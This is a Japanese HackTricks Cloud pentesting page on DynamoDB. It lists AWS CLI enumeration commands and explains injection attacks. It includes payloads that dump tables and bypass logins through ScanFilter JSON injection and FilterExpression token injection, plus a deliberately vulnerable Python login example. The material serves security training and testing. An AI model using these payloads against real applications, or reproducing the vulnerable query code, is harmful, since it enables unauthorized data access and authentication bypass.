AWS - DynamoDB Enum
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
DynamoDB
基本情報
Amazon DynamoDBは、AWSによって完全に管理されたサーバーレスのキー・バリューNoSQLデータベースとして提供されており、サイズに関係なく高性能アプリケーションを支えるために特化されています。このサービスは、固有のセキュリティ対策、途切れのないバックアップ、複数のリージョンにわたる自動レプリケーション、統合されたインメモリキャッシング、便利なデータエクスポートユーティリティなど、堅牢な機能を保証します。
DynamoDBの文脈では、従来のデータベースを構築する代わりに、テーブルが作成されます。各テーブルは、テーブルの主キーの不可欠な要素としてパーティションキーの指定を義務付けています。このパーティションキーは、本質的にハッシュ値であり、アイテムの取得とデータのさまざまなホストへの分配の両方において重要な役割を果たします。この分配は、データベースのスケーラビリティと可用性を維持するために重要です。さらに、データの整理をさらに洗練させるためにソートキーを組み込むオプションもあります。
暗号化
デフォルトでは、DynamoDBはAmazon DynamoDBに属するKMSキーを使用しており、少なくともあなたのアカウントに属するAWS管理キーさえも使用していません。
バックアップとS3へのエクスポート
テーブルバックアップの生成をスケジュールすることや、オンデマンドで作成することが可能です。さらに、テーブルのポイントインタイムリカバリ(PITR)を有効にすることも可能です。ポイントインタイムリカバリは、DynamoDBデータの35日間の継続的なバックアップを提供し、偶発的な書き込みや削除操作から保護するのに役立ちます。
テーブルのデータをS3にエクスポートすることも可能ですが、テーブルにはPITRが有効である必要があります。
GUI
https://github.com/aaronshaf/dynamodb-adminなど、役立つ可能性のあるダイナモDBローカル、dynalite、localstackなどのローカルDynamoサービス用のGUIがあります。
列挙
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
認証されていないアクセス
AWS - DynamoDB Unauthenticated Access
権限昇格
ポストエクスプロイト
AWS - DynamoDB Post Exploitation
永続性
DynamoDB インジェクション
SQL インジェクション
DynamoDB データに SQL 構文でアクセスする方法があるため、典型的な SQL インジェクションも可能です。
NoSQL インジェクション
DynamoDB では、データを取得するために異なる 条件を使用できます。一般的な NoSQL インジェクションのように、データを取得するために 複数の条件を連鎖させることができれば、隠されたデータを取得したり(またはテーブル全体をダンプしたり)することができます。
DynamoDB がサポートする条件はここで確認できます: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
データが query
または scan
を介してアクセスされる場合、異なる条件がサポートされていることに注意してください。
note
実際には、Query アクションは、主キーで 条件 "EQ" (等しい) を指定する必要があり、これにより NoSQL インジェクションに対してはるかに脆弱性が低くなり(また、操作が非常に制限されることになります)。
比較を 変更したり、新しいものを追加したりできれば、より多くのデータを取得できる可能性があります。
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
生のJsonインジェクション
caution
この脆弱性は、現在非推奨のdynamodb Scan Filterに基づいています!
DynamoDBは、DB内のデータを検索するためにJsonオブジェクトを受け入れます。検索に送信されるjsonオブジェクトに書き込むことができる場合、DBのダンプを作成し、すべての内容を取得することができます。
例えば、次のようなリクエストに注入することができます:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
攻撃者は次のようなものを注入することができます:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
ID 1000を検索するために「EQ」条件を修正し、その後、すべてのデータを取得するためにId文字列が0より大きいものを探します。
別のログインを使用した脆弱な例は次のようになります:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
これに対して脆弱である可能性があります:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
一部のSDKでは、次のように実行されるフィルタリングを示す文字列を使用することができます:
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
DynamoDBでアイテムをスキャンする際にフィルター式で属性値を置き換えるために検索する場合、トークンは**:
文字で始まる必要があります。そのため、これらのトークンは実行時に実際の属性値に置き換えられます**。
したがって、前述のようなログインは次のようなものでバイパスできます:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。